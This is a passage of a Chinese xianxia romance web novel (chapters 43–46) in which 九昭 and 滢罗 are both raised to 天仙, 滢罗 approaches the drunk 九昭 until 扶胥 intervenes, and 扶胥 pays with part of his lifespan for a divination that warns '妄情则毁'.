面对九昭的疑问,扶胥的喉结上下一滚,不知该如何开口。他意识到事关他们二人的命运,辉天镜却没有选择在九昭醒来时揭示,就证明了九昭不应该知道。 几番思忖过后,他简言道:“我在移步镜里看到你昏倒了,很是担心,所以——” 所以不顾天令,直接闯进了辉天殿。 九昭自动将未尽言语补全,身体头脑还在作痛,心口忍不住涌上甜蜜的甘泉。 她勉力抬起手掌,想要将扶胥眉间沉重的忧色抚平。 即将触碰到肌肤,青年却下意识移开面孔,双手握住她的肩膀,将她从地上扶起。 “?” 九昭目露疑问。 极力克制住海潮般翻涌的心绪,扶胥做出若无其事的样子:“你昏迷多时,尚未接受天道裁决,还是赶紧完成最后一步,切勿因为错过时机而无法顺利晋升天仙。” 他们说着话,高台外传来嶷山上神的询问:“扶胥,你可在里面,怎么久久不回话?” 天际不可泄露,刚才辉天镜发生的异象自然仅有他一人知晓。 神器守护之境,庄严肃穆,不是受封的金仙,哪怕上神也不可随意踏入此地。 扶胥回应一声,对九昭再次轻声重复:“将仙力输入辉天镜接受天道裁决,不可耽误。” 面对这个比想象中还要更好的结果,九昭并没有表现出欣喜的情绪。 她咬着下唇,迟疑一瞬,抓住扶胥的手背,用四周都能听到的声音说道:“等等,不应该如此。我这个仙考魁首,多亏了滢罗的帮忙,并非全靠自己的实力——如果真的要晋升天仙,也应该是和滢罗一起接受天道的审判,让上苍决定,谁更有资格成为优胜者。” 【作者有话说】 争取五十章内分手开始下段感情 43| 第43章 ◎“原来成为天仙是这种感觉——”◎ 本想九昭醒来就能结束整场仙考, 谁知对方不按常理出牌。 惊讶过后,嶷山上神心中,反而对她这种不喜揽功, 追求公正的态度多了几分认可。 不过认可归认可, 毕竟历届仙考没有这等先例,他还是说:“神姬殿下,不可胡闹。” 借助扶胥搀扶,九昭勉强站直快要散架的身体。 她缓步来到高台边缘, 与浮空的嶷山上神四目对视:“考生的身份之外,本殿为君,滢罗为臣, 臣子为君上竭尽全力,身受重伤,我却心安理得享受她的付出,独自晋升成为天仙, 而将她的功绩一概不提——倘若换成是嶷山上神你, 你可会觉得寒心?” 这最后一句反问极为犀利, 叫本就不善辞令的嶷山哑口无言。 他注视着九昭疲倦却仍然澄亮的目光,又下意识望向旁边作为好友的扶胥。 扶胥面色坦然, 似乎没有掺和到这件事里的意思。但嶷山知道, 自己这位好友从来都是三清天法规的忠实贯彻者,此刻没有表现出反对, 便已经是默认。 看来, 不只是他一人觉得九昭所言有一定道理。 嶷山强硬的语气缓了缓, 说道:“殿下, 这与个人情绪无关, 只因我等都该遵守天令。” “天令之外尚有人情!” 九昭寸步不让, 又顶了回去。 她立于高台,满脸倔强,拒绝向辉天镜输入仙力,嶷山也不好硬来。 在这里打嘴仗终究是浪费口舌,略作思忖之后,他干脆命人开启移步镜,向神帝汇报情况。 …… “卿言九昭神姬拒绝接受天道裁决?” 用观试众仙皆能听清的声量重复一遍,神帝颇有兴味地问道:“可知是何原因?” 在九昭如有实质的眸光逼视下,嶷山硬着头皮复述。 “哦?九昭不为自己,竟为滢罗宗姬请命? “诸位卿家怎么看? 说着,神帝的双眼在滢罗的父亲西神王,以及儿子造成当下局面的北神王间逡巡一个来回,选定其中一人道,“西神王,你为滢罗宗姬的亲长,不如你先说。” 眼见女儿升仙无望,西神王本就惋惜。此刻峰回路转,他虽心中欢喜,却秉承滑不留手的性子,将裁决的难题推了回去:“此事帝座自有论断,臣何等身份,不敢胡乱越众发言。” “天令规定,每场仙考仅有一人能够晋升天仙,以往的每届考生的确各凭本事争夺第一。” 神帝转动着指间的碧玉扳指,平淡陈述事实,语气不见任何偏向。 九昭素来是个急脾气。 她等不了皮球踢来踢去,最终踢中一人发表相反看法,索性直言:“若无滢罗,本殿断然无法踏入辉天殿,同样的,三清天的繁荣从不只看一人的强大,而在于大家勠力同心。” 一石落激起千层浪。 她公然质疑天令的言语一出,紫微宫内寂静的气氛终于消弭。 “天令已存在万万年,倘若今朝为滢罗更改,从前那些表现优异却惜败的考生又该如何?” 东神王照羽年纪最长,性格顽固,第一个跳出来反对。 九昭却自有一番准备,态度从容的反问立刻传出移步镜:“仙考又不是只对每个人开启一次,干脆借着这件事修改考规,此后不也是给他们更多机会?” “神姬殿下,这不是您一个人的三清天,您说修改就修改,叫其他神仙怎么想?!” “我说修改又不为造福自己,但凡有益大家的好事,无论何人提出,择优听从有什么错。” “不管怎么样,您都只能代表您一人,不应该——” “好啊,那就问问他人意见,在座皆为王侯重臣,掌管一方仙众,你们是反对还是赞成?” 修改天令,抑或维持原样,已经有两只出头鸟。 接下来,无论怎样选择,都不会招致众怒。 南神王因着自家女儿表现出色,却被孟楚暗算的前由仍在耿耿于怀,于是话里有话:“说起来,倘若这届魁首为世子孟楚,他不也是与人‘合作’才取得胜利?有了他这个先河,说不定以后在仙考过程中‘合作’的人会越来越多——既如此,还不依照九昭殿下的建议修改天令。” 北神王本在旁边装死,倏忽被南神王刺得表情一讪。 孟楚行为处事,连带着他这个父亲也抬不起头。 他保持沉默,又见西神王做出副惋惜神色:“帝座,臣自受封神王起,每每观试总见数位修为出色,通过最后关卡仍留有余力的考生,他们只是慢了半步,并非不够格登上辉天殿受封。” 晋升天仙,就有望问鼎神位。 如此利益在前,又有九昭的一力支持,他终是按捺不住,委婉替滢罗说起了话。 “帝座,臣认为天仙之位终究要经天道判决,而非人力论定,每次多选几人,说到底并不影响什么。”五位上神中常年坐镇三清天,襄助神帝处理政务的夜神夕寰,附和起西神王的话来。 滢罗身份高贵,且不似九昭跋扈,这些年以品德和实力赢得了不少人缘。 有上神和神王替她说话,紫微宫内,赞成的声音逐渐压倒反对之声。 见尘埃落定,神帝抚掌笑道:“众卿畅所欲言,建议皆有可取之处,但本座认为夜神的想法最及核心——焚业海这几千年以来在兰祁和凤凰族的带领下,实力远比过去强盛,我三清天的神仙数量本就少于妖魔许多,若还不改革选拔人才的方式,再过千年,恐会落于人后。” 以魔族为引,神帝一锤定音。 众仙不再争辩,起身行礼应是。 滢罗获得了一同进行天道裁决的殊荣,九昭再见她,却是将近一个时辰之后。 “殿下、上神见谅,宗姬力竭伤重,仙官将她治疗到能行走的程度,颇费了一番功夫。” 西海的侍女将滢罗扶上辉天殿,不等九昭询问,立刻低声解释。 扶桑木下的最终战况九昭无从察得,她观滢罗行路不便,面容苍白如纸,便知她没有听从自己的命令,执意与保留仙力的孟楚打斗,身体定是受到了一番不小的损伤。 愧疚之心骤显,她抬手免去滢罗礼数,硬邦邦挤出一句话:“……你可真是个死性子。” “只要是殿下的事,再来多少次,臣都会是这个选择。” 滢罗冲九昭微笑,唇瓣的弧度温柔如三月春风,没有一丝棱角。 天道裁决在即,她挥开侍女,缓步过去,将身体/插/进两人中间,代替扶胥扶住九昭,全无半点第三者的自觉,“殿下,先前耽搁了许多功夫,天就快要黑了,不如我们开始吧?” 公事为重,辉天殿不是情敌争风吃醋的场合。 被滢罗肩膀一侧,扶胥只得向旁撤开半步。 移步镜两人相处的一言一行在脑海重现,有漆黑的妒意顺着心脏缺口涌出。 他垂眸掩去晦暗情绪,那头九昭犹自不觉,专注着自己的感受。 她许久未曾与滢罗亲近,被挽住手臂的刹那,滢罗常用的西海沉香气息尽数涌入鼻尖,身体随之变得僵硬。但到底刚欠下一份人情,她没有推开滢罗,只保持别捏的姿势“嗯”了一声。 “那臣等先在殿外等候。” 扶胥不自觉又用上了克制而生疏的称呼。 他未曾察觉九昭投来的在意眼神,拱手行礼后带领无关人等退出辉天殿。 高台转眼只剩她们二人。 “殿下先请。” 扶着九昭站到神器之下,滢罗退到一旁,语气透着几分与有荣焉的骄傲。 九昭习惯了事事优先,并不退让。 她双手交合,十指掐诀,朝着悬空的辉天神镜射出一道赤色仙光。 仙光触及镜面,立刻四散沉入。 与此同时,九昭的脚下亮起神纹繁复的纯白大阵。 大阵顺时运转,起初缓慢,逐渐加快,光芒上涌盖过九昭的整具身体——刹那间,一股前所未来的温暖力量注入额心灵台,而后流动至全身血脉。 九昭难以形容这种体验。 仿佛身体的污秽尽除,神魂舒展开来,赤/裸如同新生。 在虚弭万物的光辉中,她的元神发出一道清越长鸣,脑中凤凰样的模糊形状越来越具象。 骨骼、皮肉、躯干……一切纤毫毕现,烈烈火羽冲天扬起。 一幅华美的画卷,被天道信笔绘成。 意志再度回归,九昭发觉自己原本如丹丸一般的灵台化作了半透明的凤凰,既可以从中引出仙力,又可以将身周仙力注入其中,只不过不拘注入多少,都好似深井无法填满。 这就是神境。 神境已开,当仙力满溢之际,便是登神之时。 郁念如风消逝,满腔尽是清气。 待天道之光回归阵纹中,九昭迫不及待跳了出来,通身早已不见起先的颓靡姿态。 “原来成为天仙是这种感觉—— “你也快去试试!” 身边仅有滢罗可以分享喜悦,九昭不假思索拉住她微凉的手掌,目光一闪一闪,漾开雀跃的涟漪。 那略高于人的体温好似无穷无尽的热源,令常年栖居深海的滢罗生出无限向往。 “嗯!” 被那种快乐感染,她红起脸来,竟也孩子气地用力点头,而后认真道,“殿下,谢谢您!” 44| 第44章 ◎“……嗯,我答应你。”◎ 结果正如九昭所盼, 皆大欢喜。 当辉天之光笼罩在滢罗身上,不过片刻,她便通过天道的裁决, 顺利晋升成为天仙。 有她做例, 直接证明了九昭提议修改考规的可行性。 于是神帝命人抓紧安排下去,并决定在七日后的授阶仪式上,正式告知整个三清天。 万事顺利,九昭也挺高兴, 只觉自己偿还了滢罗一部分人情。 她待在常曦殿休憩两日,望着檐廊下叽叽喳喳吵作一团的极乐鸟,闲来无事, 决定为生辰将近的扶胥和滢罗各准备一份礼物,以回报他们的尽心尽力。 晚上,精力充沛的她拉着扶胥合修。 她的仙力越发深厚,这次的效果竟好过从前数次。 扶胥受损的最后一缕神脉恢复如初, 他体内肆虐的真血之力也被九昭炼化, 尽数收为己用。而这也意味着, 扶胥无需再受到同源力量相吸,而引发的情热控制。 眼见那张英挺面孔不再升起靡丽的潮红, 九昭颇有些失望。 她结束了也不肯走, 赖在扶胥的床榻上,靠着他的肩膀亲亲密密闲谈:“过去你认为仙考滢罗定能夺得魁首, 我却不信她一定能赢, 眼下我与她同升天仙, 打成个平手, 你又怎么说?” 扶胥回忆两遍, 都没有想起自己何时说过仙考的优胜者必是滢罗。 但他听出九昭话里还有别的意思, 便转头望着她的眼睛询问:“殿下想我如何?” “上次都说了,不许叫我殿下,你怎么又开始了。” 九昭皱着小巧的鼻子,不满嘟囔。 听到扶胥立刻改口唤名,她才露出猫咪一般,带着点狡黠的微笑,继续刚才的话题:“过去在长烨学宫上课,每回考试结束前几名总能得到奖赏。夫子,您是不是也得奖励学生点什么?” 在床上被称“夫子”,总显得格外羞耻。 扶胥指尖的肌肉颤了颤,耳垂顿时染上一片粉红。 作为一个没有任何恋爱经历的老实上神,九昭不给任何准备就开口要奖励,简直是在为难自己,他大脑放空几秒,被九昭眼巴巴的视线催促着,思来想去,才想到件合适的礼物。 绿光过后,一株外形普通的花植出现在扶胥掌心。 它生着锯齿状的窄长叶片,枝条延伸的末端连接一朵淡紫色的重瓣花苞。 九昭怔了怔,才记起这花自己曾在大婚典礼,以及扶胥回归时送来的赴宴礼服上见过。 是扶胥真身几万年才开一朵的圣花。 印象里,她从未看到过扶胥花的真容,也不曾听说三清天有谁手里能有上一朵。 “这是你那树身开出来的花吗?” 九昭低声问着,手指探入花苞拨弄银白蕊心。 结合她充斥歧义的话音,扶胥又是一阵面热。 他低低应了一声,把扶胥花放进九昭手中,听见将花翻来覆去欣赏的九昭好奇追问:“世人皆传谁能得到扶胥上神亲手所赠的圣花,就可以实现任意一个愿望,这是真的吗?” 扶胥摇了摇头:“并非传言的那般无所不能——以此花入药,能够制成治疗重伤的保命丹丸。在锻造兵器的过程中,将它作为材料加入,可以使得兵器更加牢固坚韧,不易受损。当然,把花当成信物,吩咐我完成一件事也可以。至于其他的用处,我暂时没有想到。” “前面的功效倒还好说,能够吩咐战神做件事,那不就相当于什么愿望都能实现吗?” 九昭嘻嘻笑着,手掌拢上扶胥肩膀,下巴抵着他健壮胸膛,不怀好意问道,“让你把所有修为都渡给我,让你奉上战神的位置给我坐,让你和我签订主奴契约,这些都可以吗?” 扶胥毫不犹豫:“都可以,哪怕要我的命也可以。” 这般时刻,说起有关生死的话题总有不祥的嫌疑。 九昭捂住他的嘴,呸呸两声:“谁要你的命了!我的愿望是要你平平安安,永远陪着我!” 陷入沉溺的爱恋中,九昭说出的每一句话都是那么的郑重其事,用尽全力。 扶胥自上而下静静看着她,眼前浮现的,却是辉天镜内自己即将神魂俱灭时,她献出元神一夜华发俱生的场景。他不知自己是否应该答应,那不甘认命,想要再次求证的情绪却涌上心头。 迟疑许久,他才缓缓点头。 九昭对如此拖拉的回应速度很不满意,她龇着小虎牙:“难道你不情愿?” 她的表情这样亮烈。 年轻的面容总有种不知天高地厚的鲜活。 扶胥难以与那个心如死灰,眼若枯井的女帝形象相互对应。 他的心又快痛得透不过气,只好弯起唇角,用一种很慢很沉的声音说道:“这等一生一世的事情,当然要很认真地想一想。想一想,才能给予殿下最好的回答。” 终于得到心心念念的承诺,九昭后知后觉害羞起来:“……都说了不准叫殿下。” 她扑进扶胥怀中,如斯良夜,两人沉默相拥。枕着扶胥沉稳有力的心跳,九昭哼哼唧唧,还是问出了心底在意的话题:“所以,你当时不告而别的原因是什么?说好了要告诉我的。” 她想,不论扶胥当初是何想法,如今他们结为夫妻,只要坦诚,任何事情都可以共同面对。 只要不骗自己。 她愿意给扶胥一个机会。 也愿意给被兰祁伤透的心,再次不顾一切爱一个人的机会。 …… 然而,心哪怕挨得再近,总是放置于彼此胸腔中,相隔皮肉距离,注定无法做到亲密无间。 扶胥从来信奉诚实,不愿说谎。 此时此刻,他却明白了有些谎言,始终不随自身的意愿。 他看不到九昭的眼睛,九昭伏在他臂弯,亦察觉不到他眸光中剧烈的动荡。 心沉到最底时,扶胥若无其事开口:“临行前,帝座告诉我兰祁借助业火和焚业海长久汇聚的怨气修炼,魔功大成,足有媲美上神的力量。此战注定艰难,我无法保证自己能活着回来。 “与其在同你敞开心扉后,让你得知我的死讯伤心欲绝,不如,从开始就不告而别。” “幸好,上苍总算给了我一个机会。” 九昭没想到背后的真相是这样。一瞬间,只本能地认为扶胥说了谎言。 可他归来时跌落的神境,和被真血之力反复灼烧的严重内伤,说明了那五百年里的艰险。 扶胥,是不会骗她的。 将在念头转圜间萌生的一丝浅淡怀疑掩去,九昭用力抱紧青年的躯体:“这次你打败兰祁,使得焚业海元气大伤,料想今后的万年里都不会再起战事。 “你要陪着我,我也要陪着你。我们长相厮守,不再分离。” “……嗯,我答应你。” 两颗心脏的剧烈跳动里,扶胥用力掐住手掌,缓缓垂下眼睛。 …… 七日后。 三清天,璇玑宫。 因着九昭的缘故,授阶仪式格外恢弘隆重。 月上中天,晚宴仍未结束。 神帝和众仙齐聚殿内,觥筹交错,四周笑语不绝。 身为储君,九昭自降生起,身上就背负了无数人的目光。此次仙阶考试,她一改闭门不出的颓靡作风,又是以一战三表现惊艳,又是不计前嫌为滢罗请命,足见君主应有的实力和气度。 不管内心如何作想,赴宴的各位神仙,总要顺应局势,好好赞扬一番九昭。 他们接连上来敬酒,客套恭维显出十二万分的真心。 九昭难得一身清雅装扮,同滢罗各坐一边,头上戴着对应天仙身份的紫辉琉璃冠。 她面带笑容,神容澹然,举手投足应对得宜,看得神帝满是欣慰,目光越发慈爱。 但也只有她自己知道,她不胜酒量,实则已经半醉。 再喝下去怕是要露出丑态,毁了前面那么长时间的坚持。 传密音入扶胥耳畔,九昭让他过来招架这些热情过度的神仙,自己则要出去走走散散酒气。 上神之躯,再浓烈的仙酒入喉,酒意都会自动消散。 她不担心扶胥会喝醉,趁他挡在前方的间隙,悄悄起身,从璇玑宫的侧门溜了出去。 微凉晚风拂在面上,降低温度过热的肌肤。 九昭拍了拍脸颊,感觉好受不少,便沿着萤石小径,一路来到花园深处的廓清湖。 三清天的仙力属性,共分为金木水火土,彼此之间互有克制。 照道理,九昭继承母亲的凤凰真血,天生属性为火,被水克制,应该讨厌一切与水相关的事物,可她却总是对这些冰冷之物有着天然的好感——不管是当初来自西海的滢罗,还是三清天内的大小海洋湖泊。 九昭沿着廓清湖边慢慢走着,耳边喧闹了一晚,眼下正逢难得的宁静。 “要是不在璇玑宫就好了,脱了鞋袜下去游水也没人会发现……” 她轻声嘟哝,顺脚将岸边的小石子全部踢进湖里。 扑通扑通的细微声响,很快引起另一道足音的靠近。 “九昭殿下,是您在那吗?” 任凭思维再如何迟缓,九昭还是认出了这个太过熟悉的声音。 滢罗。 她不在璇玑宫内接受众仙道贺,怎么也寻着自己来到了这里? 45| 第45章 ◎“哪怕需要以身体取悦君上,我也甘之若饴。”◎ “臣饮了太多仙酒, 实在体力不支,担心殿前失仪,所以出来散散酒气。” 滢罗给出的解释很合理, 甚至算得上与九昭心有灵犀。 不过—— 她明明记得, 从前滢罗的酒量要比自己好上许多。 醉意漫卷脑海,这点微不足道的疑惑很快如海浪打过,翻滚着不见踪迹。 几丈外树影婆娑,滢罗绕开木丛信步而来, 高挑身影沐浴月辉,淡颜浅衣,更显清丽。 眼见储君在此休憩而不回避, 这番架势,明显是有话要说。 九昭索性停下脚步,迎着徐徐湖风坐在草地。 果然,来到她身边后, 滢罗跟着坐了下来。 她心情颇好的话音在九昭耳畔响起:“还记得在长烨学宫修习的时候, 那里也有一片很漂亮的湖水, 结束课业的午休时间,殿下最喜欢和臣一起坐在湖边, 边吃东西边谈天说地。” 对方提起过去, 九昭神情一动。 为着仙考期间发生的情况,她本也有话想要问清楚。 酒液有时误事, 有时却是最好的媒介, 消融了梗在心喉的一点别扭。她双手撑在后颈, 装作不经意地问道:“那日, 你说一直将本殿视为朋友, 可是真心?” 滢罗并不意外九昭会提到这点, 闻言微微一笑:“殿下以为,臣是真心还是假意?” “本殿如何得知?” 九昭拧起眉峰,声音放低,“倘若知晓,上学时也不会被你耍得团团转了……” 虽是指责的言语,但心结逐渐消解,她的嘟哝间多了点近乎撒娇的抱怨。 于是滢罗的心更觉柔软,只恨不能越过君臣身份,伸手摸摸她的头顶:“自然是真心。” “好,真心可是你说的。” 话都到了这里,有些问题不吐不快。 月光溶溶,终于要说起耿耿于怀的往事,九昭抱住膝盖,身体带着不自觉的防御,双眼望向远处湖面泛起的涟漪,“既然你把本殿当成好友,就回答我,从前为何总要挑拨我和其他朋友之间的关系。还有、还有在我与扶胥大婚前,为何你要特地跑来告诉我,他曾有意跟西海结亲?” 世无完人,就算是神仙也会有各自的缺陷。 其他都可以原谅,唯有这两点芒刺扎在九昭心间,令她从此恨上滢罗。 她介怀千年万年,倘若没有仙考时滢罗的舍身相助,决计不会坦然倾吐。 滢罗依旧是副皆在意料中的表情,面容不见愧色:“从无挑拨,臣所做的一切皆是为了殿下。至于扶胥上神,臣只是认为婚姻乃人生大事,殿下有必要知晓前情——” 她顿了顿,话音放轻,态度却从一贯的温柔中挣脱出来,变得沉重肃穆,“殿下不明白么?处在您这个位置,交错了朋友,爱错了人,随时都会面临万劫不复的下场。” 九昭的思绪空白一瞬。 她前头的一番质询看似条理清晰,实则逐渐沉重的大脑已经将判断能力搅乱在一起。 最后她决定暂时放弃扶胥的部分:“你又凭什么替我决定好人坏人,你所来往的那些朋友,我可从来没有说过他们任何是非……说来说去,你做了那么多,无非是想让我只信任你一个。” 滢罗没有否认,笑容漫上层让人不适,却猜不透的欢喜:“那是因为,臣和殿下不一样。” “有什么不一样?” 九昭想也不想便问。 “臣同那些人从不交心,能让臣倾诚相待的唯有殿下一人,可殿下却对谁都满腔热情。” 同样的答案九昭又听了一遍。 她总觉得在某个相似的场景中发生过,对象仿佛是滢罗,又仿佛是他人。 酒的后劲上头,九昭更醉了,她浅浅打了个嗝,口里仍然不服气:“所、所以呢?哪有你这样的,本殿对别人,热情又怎么样,难道要我永远、永远和你一个人在一起—— “不觉得很奇怪吗?我们又不、又不是夫妻。” 她说出“夫妻”两个字,叫滢罗一贯从容不迫的目光短暂发直。 滢罗忍不住想,这下不只是九昭,连自己也快要醉了。 夫妻,一个多令人憧憬的词汇。 又有谁知晓,早在很久很久以前,她梦里皆是同九昭结发为夫妻的场景。 良辰月下,寤寐思服的人就坐在她的身边。 眸光涣散着,如同被风搅乱的春水。 薄红嘴唇微张,每个话音都释放出诱人的香气。 历经万年朝夕相处,滢罗太过了解九昭。 她知晓就算自己此刻俯身给予亲吻,哄骗一句仅是幻觉,九昭也会深信不疑。 沦陷在九昭难得的柔软里,滢罗引以为傲的自制力逐渐崩坏。 她侧首靠近九昭,望着对方失焦的双眼,鬼使神差换了个称呼:“昭昭,其实我——” 九昭的面容却倏忽凑近。 她的动作太过迅速,以至于等滢罗察觉到自己的唇瓣,被某个事物飞快擦了一下时,她那半敞的臂弯间已然多出个软绵绵、沉甸甸的人形。 “殿、殿下。” 面对九昭的过度热情,滢罗心如擂鼓,竟也结巴起来。 她用止不住发颤的手掌扶起九昭肩膀,才发现长坠的眼睫盖住眸光。 九昭竟是醉得睡了过去。 “……” 无奈过后,滢罗叹了口气,只能放弃表白念头。 她揽住九昭,将动作放到最轻,一下一下贪恋地摩挲着她的唇缝。 顺着绵长的呼吸,九昭齿关微微打开,透明唾液不自觉地濡湿了她洁白的指腹。 “殿下,您分明说着讨厌臣,却还是这般不设防地在臣面前露出醉态。 “您这样天真,叫臣如何放心。 “那个只知道行军打仗,半点不解风情的扶胥,又如何能够照顾好您……” 滢罗喃喃低语。 她合拢手指,感知着指间的黏腻。 一面说着,一面就要俯下身去。 然而,一道无声显形的光亮却突然将怀中的身体包裹,拒绝滢罗的亲近。 九昭仍处于沉睡的状态,对此一无所知。滢罗下意识收拢臂膀,想要将她留住,那道神光仿佛被激怒搬悍然震开她的双手,接着托起九昭朝不远处的树影后方飞去。 扶胥隐匿的身形骤现。 神光簇拥九昭,在他身前的空气中静静悬浮。 他面沉如水,冷然注视滢罗片刻,才一手揽肩,一手托膝,将失而复得的爱侣拥进怀里。 神力消散,唯有穹空中的悬月无声见证这场不见血的交锋。 “宗姬,请自重。” 扶胥终于开口。 虽知九昭陷入沉眠,大概率听不到他们的对话,他还是利用神力封住了她的五感。 滢罗维持跪坐的姿势没有起身,她慢慢抬起头来,除开眼睑下方一抹痴意的浅红,神容泰然自若:“作为好友,我不过是在和九昭殿下对月畅谈而已,何来上神口中的‘自重’一说?” “这些年,你利用女子身份的便利,究竟谋算了些什么,你心里最清楚。” 不愿同滢罗虚与委蛇,扶胥索性直接揭破。 “上神是在嫉妒吗?”滢罗再次捻了捻唾液干涸的指腹,轻笑着提醒他道,“要知执念易生心魔,心魔过重更会导致神境跌落,上神还是要善自珍重才好。” 扶胥注意到她做给自己看的小动作,不露痕迹看了眼九昭的嘴唇,见其上似有水光点点,怒意更是迅速攀升:“执念与否,不劳宗姬费心,但愿你能懂得人臣应恪守的规矩。” “规矩,上神所指的,是何规矩?”滢罗装作不解,半歪着头,“我只知为臣应对君上尽职尽责,付出心力性命自不必提,哪怕需要以身体取悦君上,我也甘之若饴。” 眼见对方如此不要脸,扶胥眉心一跳:“九昭与我早已成婚,用不着宗姬奉献躯体。” “是吗?” 滢罗又是一声似笑非笑的反问,“我想上神大约忘了,殿下她是储君——我父王尚且迎娶了好几位除我母亲之外的侧妃妾室,更遑论未来的三清天神帝? “这本就是九昭殿下的权利,难道上神想要阻止?” 她接连三道驳怼,直将扶胥刺激得眸中怒意化作锋锐利刃,几欲将她千刀万剐。 可不理智的情绪之下,他又不得不承认,对方说得没错。 三清天数任神帝,唯有九昭的父亲嗣辰是个异类,只娶了叛族的凤凰女君太婀一人,并在她死后坚持不立继后,最终埋下了与四方神王以及各大部族联系并不密切的隐患。 九昭是储君中少见的女性,且因骄纵的性格身边甚少有人打转,扶胥才选择性忽略了这层。 内心猝不及防被滢罗刺痛,他几乎拼尽全力才能冷静指出:“储君是有权利纳侧君夫侍,可这跟宗姬有什么关系?想要突破友人身份乞求男女之爱,宗姬有几分把握,九昭能够答应?” 这下,轮到了滢罗不再微笑,面孔阴沉。 她用同样冰凉的视线回望扶胥,心里却清楚,把一切推迟到生辰宴后,自是因为全无底气。 “那就预祝上神和九昭殿下恩爱长久,白头偕老。” 半晌,她从齿关冷冷挤出一句话。 …… 看似赢得了这局,扶胥却无任何欢喜之意。 他遣人向神帝告退,自己抱着九昭回到离恨天。 将她放在寝殿的床榻上,扶胥挥退想要上来服侍的两位女婢。 他半跪在地,亲自帮她脱下鞋袜,褪掉外袍,又撤去了封闭五感的神光。 做完这些,扶胥也有自己的心绪需要整理。 他站起身往外走,腰上的玉带反被一根手指勾紧。 “滢、滢罗,我们话还没说清楚,本殿不许你走……” 九昭不知何时醒了过来,眼睛半闭半睁,口中满是糊里糊涂的醉语。 扶胥的心脏又为她提到的滢罗名字抽搐了一下。 说到底,他前面那般刺激滢罗,实则心底半成胜算都无。 九昭生来缺少正确的引导,虽情怀灼热,却对爱意懵懂。 仿佛只要天长地久地陪伴在她身边,无论男女,她皆会将一腔赤忱尽数献上。 所以才会被兰祁伤害得那么深。 所以才会因为跟滢罗渐行渐远,而心有芥蒂难以放低—— 想到这里,神帝的警告,以及九昭为自己决然赴死的场景再度交织眼前。 离开的脚步停了下来,扶胥转头,心绪复杂地望着九昭:“这里没有滢罗,我是扶胥。” “扶、扶胥。” 九昭鹦鹉学舌般大着舌头重复一遍这个名字,她固定在某个时间段的思绪活泛起来,迷茫地自言自语,“奇怪,扶胥,扶胥不是该在,军中打仗吗?长烨学宫,怎么会有扶胥……” 46| 第46章 ◎“爱对我而言,就是同生共死。”◎ 是啊, 长烨学宫只有少年的滢罗和兰祁。 怎么会有扶胥。 扶胥的喉底漫上苦涩。 或许劝告自己这些不过醉鬼的胡言乱语,不值得在意会好受许多,但他依旧克制不住波动的私心, 去问出那个一直以来逃避的问题:“所以, 你想回到在长烨学宫修习的日子吗……?” 是选择过去,还是选择现在。 是陪伴她的滢罗兰祁更好,还是自己。 其实扶胥一直以来都避免跟昔日的情敌比较,他总认为, 那不过是兰祁隐忍的虚情假意。 可今夜滢罗的挑衅。 心魔幻境里雷打不动出现的同一幻象。 通通演变成为了扶胥当下悄然滋生的心魔。 它们困扰着他,去寻求一个实际上根本没有意义的结果。 问题入耳,九昭像是又睡了过去, 没有任何反应。 可扶胥依旧不肯放过她,也放过自己。 他屏住呼吸,执拗守候在床侧,直至一个细若蚊蝇的回应响起: “……想。” 侧转身体, 将锦被牢牢抱在怀里, 九昭分不清这个问题来自外界, 还是被自己忽视多日的内心,往事如同一座桥梁, 一旦真正将断裂的两处连接, 那些身处对岸的模糊景象就会清晰呈现。 在似梦似真的酒意面前,她毫无隐瞒。 用断断续续的话音说着:“兄长、朋友、仙侣, 通通都要、都要在一起……” 在既定的、想要回到过去的前提下, 扶胥并未探究为何九昭口中有三个称谓。 他本能地将“兄长”和“仙侣”两个身份合并为一, 去指代既是养兄又是未婚夫的兰祁。 他无法理解。 更不能劝说自己释怀。 分明清醒时的九昭无时无刻不在对自己倾吐爱意。 然而。 “你就从来没有放下过兰祁吗?” 用力握紧拳头, 以此支撑摇摇欲坠的心, 扶胥的声音轻不可闻。 他忽然不想再多看九昭一眼。 多看一眼, 他的心就越发混乱和失意。 辉天镜里的九昭毫不犹豫为救他而赴死,现实里的九昭却对任一旧情都摇摆不定。 扶胥由衷地感觉到茫然。 是辉天镜存在太久,神力不继,出现谬误了吗? 究竟爱与不爱,哪个才是真正的她。 坐在九昭的床边,聆听着她绵长的呼吸,扶胥彻夜未眠。 无形的情绪和有形的压力化作万丈高山覆身,直叫人喘不过气。 将近天亮时分,他红着眼睛做出决定—— 要像神帝过去所行那般,消耗半数神寿去推衍出一个真正的答案。 …… 扶桑木顶,辉天殿。 一半神寿的付出,将扶胥几个月来好不容易养好的面色再度回归苍白。 而这苍白里,还有一半,是无可回转的绝望。 事实证明,辉天镜没有出错。 无论是偶然的馈赠,还是实打实的支付沉重代价,它给出的未来没有任何区别。 一模一样的场景。 一模一样的同归于尽。 一模一样的奉献元神以命换命。 在九昭一瞬衰老散作粉尘的最后,它才终于有了些微的变化。 依照最正式的神术推衍那般,白芒灿烁的镜面凝结出四字谶言: 妄情则毁。 这四个字并不晦涩,叫芸生世那些打着神算旗号招摇的骗子来解,也能答得有模有样。 妄,是非分,是超出常规,是荒谬不合理。 妄念的感情发生,则会摧毁一切。 这道谶言,又引发了扶胥新的不理解。 倘若他们真心相爱,九昭因为无法接受他的死去,而甘愿舍命相随,或许用“情深不寿”一词更为合情合意,他们是接受过三清天祝福的爱侣,天然拥有一段光明正大的情意。 何以会是“妄情”。 扶胥的目光深处翻涌开无数波澜。 他的根本目的是为了解开谜底,却创造出更多如同乱麻一般的新谜题。 困惑痴惘之间,神帝昔日的话音再度萦绕在耳。 “九昭和她的母亲太像,都是会为了心中所爱付出一切的个性。” “所以,扶胥,本座要你答允我。如果你不能引导她脱离兰祁的影响,如果你不能教会她如何正确的爱人,你就不要让她对你付出过盛的感情。” 脱离,兰祁的,影响。 教会她,正确,爱人。 为何又有兰祁? 为何九昭不像是非他不可,却愿意付出自己的生命,换他元神重聚? 扶胥捂住额头,阵阵挑动的脉络令他由衷感觉到目眩神迷。 而脑海中陡然产生的荒唐念想,更叫他下意识呻/吟一声,高大的身躯跪倒,佝偻在地。 ……九昭做这一切,是真的出于爱他吗? 还是因为心中最大的执念兰祁已死,她生无可恋,再加上对于感情不忠的愧疚,所以干脆用以命换命的方式作为补偿,将他救回人世,自己则追随兰祁而去,同生同死。 有了怀疑,就没办法不去细究。 扶胥一面唾弃着自己将救命行为想象得如此不堪的阴暗心理,一面又不由自主结合当下得到的已知线索,反复地推敲着这种猜测的可能性。 到最后,扶胥想,自己终于是疯了。 